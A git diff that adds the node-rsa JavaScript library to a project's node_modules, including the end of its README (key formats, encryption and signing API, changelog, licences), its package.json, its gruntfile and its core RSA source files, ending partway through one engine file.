+* options — `{object}` — additional settings. + +#### Options +You can specify some options by second/third constructor argument, or over `key.setOptions()` method. + +* environment — working environment (default autodetect): + * `'browser'` — will run pure js implementation of RSA algorithms. + * `'node'` for `nodejs >= 0.10.x or io.js >= 1.x` — provide some native methods like sign/verify and encrypt/decrypt. +* encryptionScheme — padding scheme for encrypt/decrypt. Can be `'pkcs1_oaep'` or `'pkcs1'`. Default `'pkcs1_oaep'`. +* signingScheme — scheme used for signing and verifying. Can be `'pkcs1'` or `'pss'` or 'scheme-hash' format string (eg `'pss-sha1'`). Default `'pkcs1-sha256'`, or, if chosen pss: `'pss-sha1'`. + +> *Notice:* This lib supporting next hash algorithms: `'md5'`, `'ripemd160'`, `'sha1'`, `'sha256'`, `'sha512'` in browser and node environment and additional `'md4'`, `'sha'`, `'sha224'`, `'sha384'` in node only. + +Some [advanced options info](https://github.com/rzcoder/node-rsa/wiki/Advanced-options) + +#### Creating "empty" key +```javascript +const key = new NodeRSA(); +``` + +#### Generate new 512bit-length key +```javascript +const key = new NodeRSA({b: 512}); +``` + +Also you can use next method: + +```javascript +key.generateKeyPair([bits], [exp]); +``` + +* bits — `{int}` — key size in bits. 2048 by default. +* exp — `{int}` — public exponent. 65537 by default. + +#### Load key from PEM string + +```javascript +const key = new NodeRSA('-----BEGIN RSA PRIVATE KEY-----\n'+ + 'MIIBOQIBAAJAVY6quuzCwyOWzymJ7C4zXjeV/232wt2ZgJZ1kHzjI73wnhQ3WQcL\n'+ + 'DFCSoi2lPUW8/zspk0qWvPdtp6Jg5Lu7hwIDAQABAkBEws9mQahZ6r1mq2zEm3D/\n'+ + 'VM9BpV//xtd6p/G+eRCYBT2qshGx42ucdgZCYJptFoW+HEx/jtzWe74yK6jGIkWJ\n'+ + 'AiEAoNAMsPqwWwTyjDZCo9iKvfIQvd3MWnmtFmjiHoPtjx0CIQCIMypAEEkZuQUi\n'+ + 'pMoreJrOlLJWdc0bfhzNAJjxsTv/8wIgQG0ZqI3GubBxu9rBOAM5EoA4VNjXVigJ\n'+ + 'QEEk1jTkp8ECIQCHhsoq90mWM/p9L5cQzLDWkTYoPI49Ji+Iemi2T5MRqwIgQl07\n'+ + 'Es+KCn25OKXR/FJ5fu6A6A+MptABL3r8SEjlpLc=\n'+ + '-----END RSA PRIVATE KEY-----'); +``` + +### Import/Export keys +```javascript +key.importKey(keyData, [format]); +key.exportKey([format]); +``` + +* keyData — `{string|buffer}` — may be: + * key in PEM string + * Buffer containing PEM string + * Buffer containing DER encoded data + * Object contains key components +* format — `{string}` — format id for export/import. + +#### Format string syntax +Format string composed of several parts: `scheme-[key_type]-[output_type]`
+ +Scheme — NodeRSA supports multiple format schemes for import/export keys: + + * `'pkcs1'` — public key starts from `'-----BEGIN RSA PUBLIC KEY-----'` header and private key starts from `'-----BEGIN RSA PRIVATE KEY-----'` header + * `'pkcs8'` — public key starts from `'-----BEGIN PUBLIC KEY-----'` header and private key starts from `'-----BEGIN PRIVATE KEY-----'` header + * `'components'` — use it for import/export key from/to raw components (see example below). For private key, importing data should contain all private key components, for public key: only public exponent (`e`) and modulus (`n`). All components (except `e`) should be Buffer, `e` could be Buffer or just normal Number. + +Key type — can be `'private'` or `'public'`. Default `'private'`
+Output type — can be: + + * `'pem'` — Base64 encoded string with header and footer. Used by default. + * `'der'` — Binary encoded key data. + +> *Notice:* For import, if *keyData* is PEM string or buffer containing string, you can do not specify format, but if you provide *keyData* as DER you must specify it in format string. + +**Shortcuts and examples** + * `'private'` or `'pkcs1'` or `'pkcs1-private'` == `'pkcs1-private-pem'` — private key encoded in pcks1 scheme as pem string. + * `'public'` or `'pkcs8-public'` == `'pkcs8-public-pem'` — public key encoded in pcks8 scheme as pem string. + * `'pkcs8'` or `'pkcs8-private'` == `'pkcs8-private-pem'` — private key encoded in pcks8 scheme as pem string. + * `'pkcs1-der'` == `'pkcs1-private-der'` — private key encoded in pcks1 scheme as binary buffer. + * `'pkcs8-public-der'` — public key encoded in pcks8 scheme as binary buffer. + +**Code example** + +```javascript +const keyData = '-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----'; +key.importKey(keyData, 'pkcs8'); +const publicDer = key.exportKey('pkcs8-public-der'); +const privateDer = key.exportKey('pkcs1-der'); +``` + +```javascript +key.importKey({ + n: Buffer.from('0086fa9ba066685845fc03833a9699c8baefb53cfbf19052a7f10f1eaa30488cec1ceb752bdff2df9fad6c64b3498956e7dbab4035b4823c99a44cc57088a23783', 'hex'), + e: 65537, + d: Buffer.from('5d2f0dd982596ef781affb1cab73a77c46985c6da2aafc252cea3f4546e80f40c0e247d7d9467750ea1321cc5aa638871b3ed96d19dcc124916b0bcb296f35e1', 'hex'), + p: Buffer.from('00c59419db615e56b9805cc45673a32d278917534804171edcf925ab1df203927f', 'hex'), + q: Buffer.from('00aee3f86b66087abc069b8b1736e38ad6af624f7ea80e70b95f4ff2bf77cd90fd', 'hex'), + dmp1: Buffer.from('008112f5a969fcb56f4e3a4c51a60dcdebec157ee4a7376b843487b53844e8ac85', 'hex'), + dmq1: Buffer.from('1a7370470e0f8a4095df40922a430fe498720e03e1f70d257c3ce34202249d21', 'hex'), + coeff: Buffer.from('00b399675e5e81506b729a777cc03026f0b2119853dfc5eb124610c0ab82999e45', 'hex') +}, 'components'); +const publicComponents = key.exportKey('components-public'); +console.log(publicComponents); + +/* +{ n: , + e: 65537 +} +*/ +``` + +If you want to only import the public key use `'components-public'` as an option: + +```javascript +key.importKey({ + n: Buffer.from('0086fa9ba066685845fc03833a9699c8baefb53cfbf19052a7f10f1eaa30488cec1ceb752bdff2df9fad6c64b3498956e7dbab4035b4823c99a44cc57088a23783', 'hex'), + e: 65537, +}, 'components-public'); +``` + +### Properties + +#### Key testing +```javascript +key.isPrivate(); +key.isPublic([strict]); +``` +strict — `{boolean}` — if true method will return false if key pair have private exponent. Default `false`. + +```javascript +key.isEmpty(); +``` +Return `true` if key pair doesn't have any data. + +#### Key info +```javascript +key.getKeySize(); +``` +Return key size in bits. + +```javascript +key.getMaxMessageSize(); +``` +Return max data size for encrypt in bytes. + +### Encrypting/decrypting + +```javascript +key.encrypt(buffer, [encoding], [source_encoding]); +key.encryptPrivate(buffer, [encoding], [source_encoding]); // use private key for encryption +``` +Return encrypted data.
+ +* buffer — `{buffer}` — data for encrypting, may be string, Buffer, or any object/array. Arrays and objects will encoded to JSON string first.
+* encoding — `{string}` — encoding for output result, may be `'buffer'`, `'binary'`, `'hex'` or `'base64'`. Default `'buffer'`.
+* source_encoding — `{string}` — source encoding, works only with string buffer. Can take standard Node.js Buffer encodings (hex, utf8, base64, etc). `'utf8'` by default.
+ +```javascript +key.decrypt(buffer, [encoding]); +key.decryptPublic(buffer, [encoding]); // use public key for decryption +``` +Return decrypted data.
+ +* buffer — `{buffer}` — data for decrypting. Takes Buffer object or base64 encoded string.
+* encoding — `{string}` — encoding for result string. Can also take `'buffer'` for raw Buffer object, or `'json'` for automatic JSON.parse result. Default `'buffer'`. + +> *Notice:* `encryptPrivate` and `decryptPublic` using only pkcs1 padding type 1 (not random) + +### Signing/Verifying +```javascript +key.sign(buffer, [encoding], [source_encoding]); +``` +Return signature for buffer. All the arguments are the same as for `encrypt` method. + +```javascript +key.verify(buffer, signature, [source_encoding], [signature_encoding]) +``` +Return result of check, `true` or `false`.
+ +* buffer — `{buffer}` — data for check, same as `encrypt` method.
+* signature — `{string}` — signature for check, result of `sign` method.
+* source_encoding — `{string}` — same as for `encrypt` method.
+* signature_encoding — `{string}` — encoding of given signature. May be `'buffer'`, `'binary'`, `'hex'` or `'base64'`. Default `'buffer'`. + +## Contributing + +Questions, comments, bug reports, and pull requests are all welcome. + +## Changelog + +### 1.0.2 + * Importing keys from PEM now is less dependent on non-key data in files. + +### 1.0.1 + * `importKey()` now returns `this` + +### 1.0.0 + * Using semver now 🎉 + * **Breaking change**: Drop support nodejs < 8.11.1 + * **Possible breaking change**: `new Buffer()` call as deprecated was replaced by `Buffer.from` & `Buffer.alloc`. + * **Possible breaking change**: Drop support for hash scheme `sha` (was removed in node ~10). `sha1`, `sha256` and others still works. + * **Possible breaking change**: Little change in environment detect algorithm. + +### 0.4.2 + * `no padding` scheme will padded data with zeros on all environments. + +### 0.4.1 + * `PKCS1 no padding` scheme support. + +### 0.4.0 + * License changed from BSD to MIT. + * Some changes in internal api. + +### 0.3.3 + * Fixed PSS encode/verify methods with max salt length. + +### 0.3.2 + * Fixed environment detection in web worker. + +### 0.3.0 + * Added import/export from/to raw key components. + * Removed lodash from dependencies. + +### 0.2.30 + * Fixed a issue when the key was generated by 1 bit smaller than specified. It may slow down the generation of large keys. + +### 0.2.24 + * Now used old hash APIs for webpack compatible. + +### 0.2.22 + * `encryptPrivate` and `decryptPublic` now using only pkcs1 (type 1) padding. + +### 0.2.20 + * Added `.encryptPrivate()` and `.decryptPublic()` methods. + * Encrypt/decrypt methods in nodejs 0.12.x and io.js using native implementation (> 40x speed boost). + * Fixed some regex issue causing catastrophic backtracking. + +### 0.2.10 + * **Methods `.exportPrivate()` and `.exportPublic()` was replaced by `.exportKey([format])`.** + * By default `.exportKey()` returns private key as `.exportPrivate()`, if you need public key from `.exportPublic()` you must specify format as `'public'` or `'pkcs8-public-pem'`. + * Method `.importKey(key, [format])` now has second argument. + +### 0.2.0 + * **`.getPublicPEM()` method was renamed to `.exportPublic()`** + * **`.getPrivatePEM()` method was renamed to `.exportPrivate()`** + * **`.loadFromPEM()` method was renamed to `.importKey()`** + * Added PKCS1_OAEP encrypting/decrypting support. + * **PKCS1_OAEP now default scheme, you need to specify 'encryptingScheme' option to 'pkcs1' for compatibility with 0.1.x version of NodeRSA.** + * Added PSS signing/verifying support. + * Signing now supports `'md5'`, `'ripemd160'`, `'sha1'`, `'sha256'`, `'sha512'` hash algorithms in both environments + and additional `'md4'`, `'sha'`, `'sha224'`, `'sha384'` for nodejs env. + * **`options.signingAlgorithm` was renamed to `options.signingScheme`** + * Added `encryptingScheme` option. + * Property `key.options` now mark as private. Added `key.setOptions(options)` method. + + +### 0.1.54 + * Added support for loading PEM key from Buffer (`fs.readFileSync()` output). + * Added `isEmpty()` method. + +### 0.1.52 + * Improve work with not properly trimming PEM strings. + +### 0.1.50 + * Implemented native js signing and verifying for browsers. + * `options.signingAlgorithm` now takes only hash-algorithm name. + * Added `.getKeySize()` and `.getMaxMessageSize()` methods. + * `.loadFromPublicPEM` and `.loadFromPrivatePEM` methods marked as private. + +### 0.1.40 + * Added signing/verifying. + +### 0.1.30 + * Added long message support. + + +## License + +Copyright (c) 2014 rzcoder
+ +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +## Licensing for code used in rsa.js and jsbn.js + +Copyright (c) 2003-2005 Tom Wu
+All Rights Reserved. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, +EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY +WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +IN NO EVENT SHALL TOM WU BE LIABLE FOR ANY SPECIAL, INCIDENTAL, +INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER +RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF +THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT +OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +In addition, the following condition applies: + +All redistributions must retain an intact copy of this copyright notice +and disclaimer. + +[![Build Status](https://travis-ci.org/rzcoder/node-rsa.svg?branch=master)](https://travis-ci.org/rzcoder/node-rsa) diff --git a/node_modules/node-rsa/gruntfile.js b/node_modules/node-rsa/gruntfile.js new file mode 100644 index 00000000..ecdb7f11 --- /dev/null +++ b/node_modules/node-rsa/gruntfile.js @@ -0,0 +1,33 @@ +module.exports = function (grunt) { + grunt.initConfig({ + jshint: { + options: {}, + default: { + files: { + src: ['gruntfile.js', 'src/**/*.js', '!src/libs/jsbn.js'] + } + }, + libs: { + files: { + src: ['src/libs/**/*'] + } + } + }, + + simplemocha: { + options: { + reporter: 'list' + }, + all: {src: ['test/**/*.js']} + } + }); + + require('jit-grunt')(grunt, { + 'simplemocha': 'grunt-simple-mocha' + }); + + grunt.registerTask('lint', ['jshint:default']); + grunt.registerTask('test', ['simplemocha']); + + grunt.registerTask('default', ['lint', 'test']); +}; \ No newline at end of file diff --git a/node_modules/node-rsa/package.json b/node_modules/node-rsa/package.json new file mode 100644 index 00000000..cc5691e3 --- /dev/null +++ b/node_modules/node-rsa/package.json @@ -0,0 +1,72 @@ +{ + "_from": "node-rsa@^1.0.5", + "_id": "node-rsa@1.0.5", + "_inBundle": false, + "_integrity": "sha1-hU3BsnVynWm8JYg/g8qAcF25Ji4=", + "_location": "/node-rsa", + "_phantomChildren": {}, + "_requested": { + "type": "range", + "registry": true, + "raw": "node-rsa@^1.0.5", + "name": "node-rsa", + "escapedName": "node-rsa", + "rawSpec": "^1.0.5", + "saveSpec": null, + "fetchSpec": "^1.0.5" + }, + "_requiredBy": [ + "#USER", + "/" + ], + "_resolved": "http://registry.npm.taobao.org/node-rsa/download/node-rsa-1.0.5.tgz", + "_shasum": "854dc1b275729d69bc25883f83ca80705db9262e", + "_spec": "node-rsa@^1.0.5", + "_where": "/Users/medicean/workspace/antSword", + "author": { + "name": "rzcoder" + }, + "bugs": { + "url": "https://github.com/rzcoder/node-rsa/issues" + }, + "bundleDependencies": false, + "dependencies": { + "asn1": "^0.2.4" + }, + "deprecated": false, + "description": "Node.js RSA library", + "devDependencies": { + "chai": "^4.2.0", + "grunt": "^1.0.3", + "grunt-contrib-jshint": "^2.0.0", + "grunt-simple-mocha": "0.4.1", + "jit-grunt": "0.10.0", + "lodash": "^4.17.11", + "nyc": "^13.1.0" + }, + "homepage": "https://github.com/rzcoder/node-rsa", + "keywords": [ + "node", + "rsa", + "crypto", + "assymetric", + "encryption", + "decryption", + "sign", + "verify", + "pkcs1", + "oaep", + "pss" + ], + "license": "MIT", + "main": "src/NodeRSA.js", + "name": "node-rsa", + "repository": { + "type": "git", + "url": "git+https://github.com/rzcoder/node-rsa.git" + }, + "scripts": { + "test": "grunt test" + }, + "version": "1.0.5" +} diff --git a/node_modules/node-rsa/src/NodeRSA.js b/node_modules/node-rsa/src/NodeRSA.js new file mode 100644 index 00000000..190fd661 --- /dev/null +++ b/node_modules/node-rsa/src/NodeRSA.js @@ -0,0 +1,398 @@ +/*! + * RSA library for Node.js + * + * Author: rzcoder + * License MIT + */ + +var constants = require('constants'); +var rsa = require('./libs/rsa.js'); +var crypt = require('crypto'); +var ber = require('asn1').Ber; +var _ = require('./utils')._; +var utils = require('./utils'); +var schemes = require('./schemes/schemes.js'); +var formats = require('./formats/formats.js'); + +if (typeof constants.RSA_NO_PADDING === "undefined") { + //patch for node v0.10.x, constants do not defined + constants.RSA_NO_PADDING = 3; +} + +module.exports = (function () { + var SUPPORTED_HASH_ALGORITHMS = { + node10: ['md4', 'md5', 'ripemd160', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512'], + node: ['md4', 'md5', 'ripemd160', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512'], + iojs: ['md4', 'md5', 'ripemd160', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512'], + browser: ['md5', 'ripemd160', 'sha1', 'sha256', 'sha512'] + }; + + var DEFAULT_ENCRYPTION_SCHEME = 'pkcs1_oaep'; + var DEFAULT_SIGNING_SCHEME = 'pkcs1'; + + var DEFAULT_EXPORT_FORMAT = 'private'; + var EXPORT_FORMAT_ALIASES = { + 'private': 'pkcs1-private-pem', + 'private-der': 'pkcs1-private-der', + 'public': 'pkcs8-public-pem', + 'public-der': 'pkcs8-public-der', + }; + + /** + * @param key {string|buffer|object} Key in PEM format, or data for generate key {b: bits, e: exponent} + * @constructor + */ + function NodeRSA(key, format, options) { + if (!(this instanceof NodeRSA)) { + return new NodeRSA(key, format, options); + } + + if (_.isObject(format)) { + options = format; + format = undefined; + } + + this.$options = { + signingScheme: DEFAULT_SIGNING_SCHEME, + signingSchemeOptions: { + hash: 'sha256', + saltLength: null + }, + encryptionScheme: DEFAULT_ENCRYPTION_SCHEME, + encryptionSchemeOptions: { + hash: 'sha1', + label: null + }, + environment: utils.detectEnvironment(), + rsaUtils: this + }; + this.keyPair = new rsa.Key(); + this.$cache = {}; + + if (Buffer.isBuffer(key) || _.isString(key)) { + this.importKey(key, format); + } else if (_.isObject(key)) { + this.generateKeyPair(key.b, key.e); + } + + this.setOptions(options); + } + + /** + * Set and validate options for key instance + * @param options + */ + NodeRSA.prototype.setOptions = function (options) { + options = options || {}; + if (options.environment) { + this.$options.environment = options.environment; + } + + if (options.signingScheme) { + if (_.isString(options.signingScheme)) { + var signingScheme = options.signingScheme.toLowerCase().split('-'); + if (signingScheme.length == 1) { + if (SUPPORTED_HASH_ALGORITHMS.node.indexOf(signingScheme[0]) > -1) { + this.$options.signingSchemeOptions = { + hash: signingScheme[0] + }; + this.$options.signingScheme = DEFAULT_SIGNING_SCHEME; + } else { + this.$options.signingScheme = signingScheme[0]; + this.$options.signingSchemeOptions = { + hash: null + }; + } + } else { + this.$options.signingSchemeOptions = { + hash: signingScheme[1] + }; + this.$options.signingScheme = signingScheme[0]; + } + } else if (_.isObject(options.signingScheme)) { + this.$options.signingScheme = options.signingScheme.scheme || DEFAULT_SIGNING_SCHEME; + this.$options.signingSchemeOptions = _.omit(options.signingScheme, 'scheme'); + } + + if (!schemes.isSignature(this.$options.signingScheme)) { + throw Error('Unsupported signing scheme'); + } + + if (this.$options.signingSchemeOptions.hash && + SUPPORTED_HASH_ALGORITHMS[this.$options.environment].indexOf(this.$options.signingSchemeOptions.hash) === -1) { + throw Error('Unsupported hashing algorithm for ' + this.$options.environment + ' environment'); + } + } + + if (options.encryptionScheme) { + if (_.isString(options.encryptionScheme)) { + this.$options.encryptionScheme = options.encryptionScheme.toLowerCase(); + this.$options.encryptionSchemeOptions = {}; + } else if (_.isObject(options.encryptionScheme)) { + this.$options.encryptionScheme = options.encryptionScheme.scheme || DEFAULT_ENCRYPTION_SCHEME; + this.$options.encryptionSchemeOptions = _.omit(options.encryptionScheme, 'scheme'); + } + + if (!schemes.isEncryption(this.$options.encryptionScheme)) { + throw Error('Unsupported encryption scheme'); + } + + if (this.$options.encryptionSchemeOptions.hash && + SUPPORTED_HASH_ALGORITHMS[this.$options.environment].indexOf(this.$options.encryptionSchemeOptions.hash) === -1) { + throw Error('Unsupported hashing algorithm for ' + this.$options.environment + ' environment'); + } + } + + this.keyPair.setOptions(this.$options); + }; + + /** + * Generate private/public keys pair + * + * @param bits {int} length key in bits. Default 2048. + * @param exp {int} public exponent. Default 65537. + * @returns {NodeRSA} + */ + NodeRSA.prototype.generateKeyPair = function (bits, exp) { + bits = bits || 2048; + exp = exp || 65537; + + if (bits % 8 !== 0) { + throw Error('Key size must be a multiple of 8.'); + } + + this.keyPair.generate(bits, exp.toString(16)); + this.$cache = {}; + return this; + }; + + /** + * Importing key + * @param keyData {string|buffer|Object} + * @param format {string} + */ + NodeRSA.prototype.importKey = function (keyData, format) { + if (!keyData) { + throw Error("Empty key given"); + } + + if (format) { + format = EXPORT_FORMAT_ALIASES[format] || format; + } + + if (!formats.detectAndImport(this.keyPair, keyData, format) && format === undefined) { + throw Error("Key format must be specified"); + } + + this.$cache = {}; + + return this; + }; + + /** + * Exporting key + * @param [format] {string} + */ + NodeRSA.prototype.exportKey = function (format) { + format = format || DEFAULT_EXPORT_FORMAT; + format = EXPORT_FORMAT_ALIASES[format] || format; + + if (!this.$cache[format]) { + this.$cache[format] = formats.detectAndExport(this.keyPair, format); + } + + return this.$cache[format]; + }; + + /** + * Check if key pair contains private key + */ + NodeRSA.prototype.isPrivate = function () { + return this.keyPair.isPrivate(); + }; + + /** + * Check if key pair contains public key + * @param [strict] {boolean} - public key only, return false if have private exponent + */ + NodeRSA.prototype.isPublic = function (strict) { + return this.keyPair.isPublic(strict); + }; + + /** + * Check if key pair doesn't contains any data + */ + NodeRSA.prototype.isEmpty = function (strict) { + return !(this.keyPair.n || this.keyPair.e || this.keyPair.d); + }; + + /** + * Encrypting data method with public key + * + * @param buffer {string|number|object|array|Buffer} - data for encrypting. Object and array will convert to JSON string. + * @param encoding {string} - optional. Encoding for output result, may be 'buffer', 'binary', 'hex' or 'base64'. Default 'buffer'. + * @param source_encoding {string} - optional. Encoding for given string. Default utf8. + * @returns {string|Buffer} + */ + NodeRSA.prototype.encrypt = function (buffer, encoding, source_encoding) { + return this.$$encryptKey(false, buffer, encoding, source_encoding); + }; + + /** + * Decrypting data method with private key + * + * @param buffer {Buffer} - buffer for decrypting + * @param encoding - encoding for result string, can also take 'json' or 'buffer' for the automatic conversion of this type + * @returns {Buffer|object|string} + */ + NodeRSA.prototype.decrypt = function (buffer, encoding) { + return this.$$decryptKey(false, buffer, encoding); + }; + + /** + * Encrypting data method with private key + * + * Parameters same as `encrypt` method + */ + NodeRSA.prototype.encryptPrivate = function (buffer, encoding, source_encoding) { + return this.$$encryptKey(true, buffer, encoding, source_encoding); + }; + + /** + * Decrypting data method with public key + * + * Parameters same as `decrypt` method + */ + NodeRSA.prototype.decryptPublic = function (buffer, encoding) { + return this.$$decryptKey(true, buffer, encoding); + }; + + /** + * Encrypting data method with custom key + */ + NodeRSA.prototype.$$encryptKey = function (usePrivate, buffer, encoding, source_encoding) { + try { + var res = this.keyPair.encrypt(this.$getDataForEncrypt(buffer, source_encoding), usePrivate); + + if (encoding == 'buffer' || !encoding) { + return res; + } else { + return res.toString(encoding); + } + } catch (e) { + throw Error('Error during encryption. Original error: ' + e); + } + }; + + /** + * Decrypting data method with custom key + */ + NodeRSA.prototype.$$decryptKey = function (usePublic, buffer, encoding) { + try { + buffer = _.isString(buffer) ? Buffer.from(buffer, 'base64') : buffer; + var res = this.keyPair.decrypt(buffer, usePublic); + + if (res === null) { + throw Error('Key decrypt method returns null.'); + } + + return this.$getDecryptedData(res, encoding); + } catch (e) { + throw Error('Error during decryption (probably incorrect key). Original error: ' + e); + } + }; + + /** + * Signing data + * + * @param buffer {string|number|object|array|Buffer} - data for signing. Object and array will convert to JSON string. + * @param encoding {string} - optional. Encoding for output result, may be 'buffer', 'binary', 'hex' or 'base64'. Default 'buffer'. + * @param source_encoding {string} - optional. Encoding for given string. Default utf8. + * @returns {string|Buffer} + */ + NodeRSA.prototype.sign = function (buffer, encoding, source_encoding) { + if (!this.isPrivate()) { + throw Error("This is not private key"); + } + + var res = this.keyPair.sign(this.$getDataForEncrypt(buffer, source_encoding)); + + if (encoding && encoding != 'buffer') { + res = res.toString(encoding); + } + + return res; + }; + + /** + * Verifying signed data + * + * @param buffer - signed data + * @param signature + * @param source_encoding {string} - optional. Encoding for given string. Default utf8. + * @param signature_encoding - optional. Encoding of given signature. May be 'buffer', 'binary', 'hex' or 'base64'. Default 'buffer'. + * @returns {*} + */ + NodeRSA.prototype.verify = function (buffer, signature, source_encoding, signature_encoding) { + if (!this.isPublic()) { + throw Error("This is not public key"); + } + signature_encoding = (!signature_encoding || signature_encoding == 'buffer' ? null : signature_encoding); + return this.keyPair.verify(this.$getDataForEncrypt(buffer, source_encoding), signature, signature_encoding); + }; + + /** + * Returns key size in bits + * @returns {int} + */ + NodeRSA.prototype.getKeySize = function () { + return this.keyPair.keySize; + }; + + /** + * Returns max message length in bytes (for 1 chunk) depending on current encryption scheme + * @returns {int} + */ + NodeRSA.prototype.getMaxMessageSize = function () { + return this.keyPair.maxMessageLength; + }; + + /** + * Preparing given data for encrypting/signing. Just make new/return Buffer object. + * + * @param buffer {string|number|object|array|Buffer} - data for encrypting. Object and array will convert to JSON string. + * @param encoding {string} - optional. Encoding for given string. Default utf8. + * @returns {Buffer} + */ + NodeRSA.prototype.$getDataForEncrypt = function (buffer, encoding) { + if (_.isString(buffer) || _.isNumber(buffer)) { + return Buffer.from('' + buffer, encoding || 'utf8'); + } else if (Buffer.isBuffer(buffer)) { + return buffer; + } else if (_.isObject(buffer)) { + return Buffer.from(JSON.stringify(buffer)); + } else { + throw Error("Unexpected data type"); + } + }; + + /** + * + * @param buffer {Buffer} - decrypted data. + * @param encoding - optional. Encoding for result output. May be 'buffer', 'json' or any of Node.js Buffer supported encoding. + * @returns {*} + */ + NodeRSA.prototype.$getDecryptedData = function (buffer, encoding) { + encoding = encoding || 'buffer'; + + if (encoding == 'buffer') { + return buffer; + } else if (encoding == 'json') { + return JSON.parse(buffer.toString()); + } else { + return buffer.toString(encoding); + } + }; + + return NodeRSA; +})(); diff --git a/node_modules/node-rsa/src/encryptEngines/encryptEngines.js b/node_modules/node-rsa/src/encryptEngines/encryptEngines.js new file mode 100644 index 00000000..d359452c --- /dev/null +++ b/node_modules/node-rsa/src/encryptEngines/encryptEngines.js @@ -0,0 +1,17 @@ +var crypt = require('crypto'); + +module.exports = { + getEngine: function (keyPair, options) { + var engine = require('./js.js'); + if (options.environment === 'node') { + if (typeof crypt.publicEncrypt === 'function' && typeof crypt.privateDecrypt === 'function') { + if (typeof crypt.privateEncrypt === 'function' && typeof crypt.publicDecrypt === 'function') { + engine = require('./io.js'); + } else { + engine = require('./node12.js'); + } + } + } + return engine(keyPair, options); + } +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/encryptEngines/io.js b/node_modules/node-rsa/src/encryptEngines/io.js new file mode 100644 index 00000000..799ae1d5 --- /dev/null +++ b/node_modules/node-rsa/src/encryptEngines/io.js @@ -0,0 +1,72 @@ +var crypto = require('crypto'); +var constants = require('constants'); +var schemes = require('../schemes/schemes.js'); + +module.exports = function (keyPair, options) { + var pkcs1Scheme = schemes.pkcs1.makeScheme(keyPair, options); + + return { + encrypt: function (buffer, usePrivate) { + var padding; + if (usePrivate) { + padding = constants.RSA_PKCS1_PADDING; + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + return crypto.privateEncrypt({ + key: options.rsaUtils.exportKey('private'), + padding: padding + }, buffer); + } else { + padding = constants.RSA_PKCS1_OAEP_PADDING; + if (options.encryptionScheme === 'pkcs1') { + padding = constants.RSA_PKCS1_PADDING; + } + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + + var data = buffer; + if (padding === constants.RSA_NO_PADDING) { + data = pkcs1Scheme.pkcs0pad(buffer); + } + + return crypto.publicEncrypt({ + key: options.rsaUtils.exportKey('public'), + padding: padding + }, data); + } + }, + + decrypt: function (buffer, usePublic) { + var padding; + if (usePublic) { + padding = constants.RSA_PKCS1_PADDING; + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + return crypto.publicDecrypt({ + key: options.rsaUtils.exportKey('public'), + padding: padding + }, buffer); + } else { + padding = constants.RSA_PKCS1_OAEP_PADDING; + if (options.encryptionScheme === 'pkcs1') { + padding = constants.RSA_PKCS1_PADDING; + } + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + var res = crypto.privateDecrypt({ + key: options.rsaUtils.exportKey('private'), + padding: padding + }, buffer); + + if (padding === constants.RSA_NO_PADDING) { + return pkcs1Scheme.pkcs0unpad(res); + } + return res; + } + } + }; +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/encryptEngines/js.js b/node_modules/node-rsa/src/encryptEngines/js.js new file mode 100644 index 00000000..f1484415 --- /dev/null +++ b/node_modules/node-rsa/src/encryptEngines/js.js @@ -0,0 +1,34 @@ +var BigInteger = require('../libs/jsbn.js'); +var schemes = require('../schemes/schemes.js'); + +module.exports = function (keyPair, options) { + var pkcs1Scheme = schemes.pkcs1.makeScheme(keyPair, options); + + return { + encrypt: function (buffer, usePrivate) { + var m, c; + if (usePrivate) { + /* Type 1: zeros padding for private key encrypt */ + m = new BigInteger(pkcs1Scheme.encPad(buffer, {type: 1})); + c = keyPair.$doPrivate(m); + } else { + m = new BigInteger(keyPair.encryptionScheme.encPad(buffer)); + c = keyPair.$doPublic(m); + } + return c.toBuffer(keyPair.encryptedDataLength); + }, + + decrypt: function (buffer, usePublic) { + var m, c = new BigInteger(buffer); + + if (usePublic) { + m = keyPair.$doPublic(c); + /* Type 1: zeros padding for private key decrypt */ + return pkcs1Scheme.encUnPad(m.toBuffer(keyPair.encryptedDataLength), 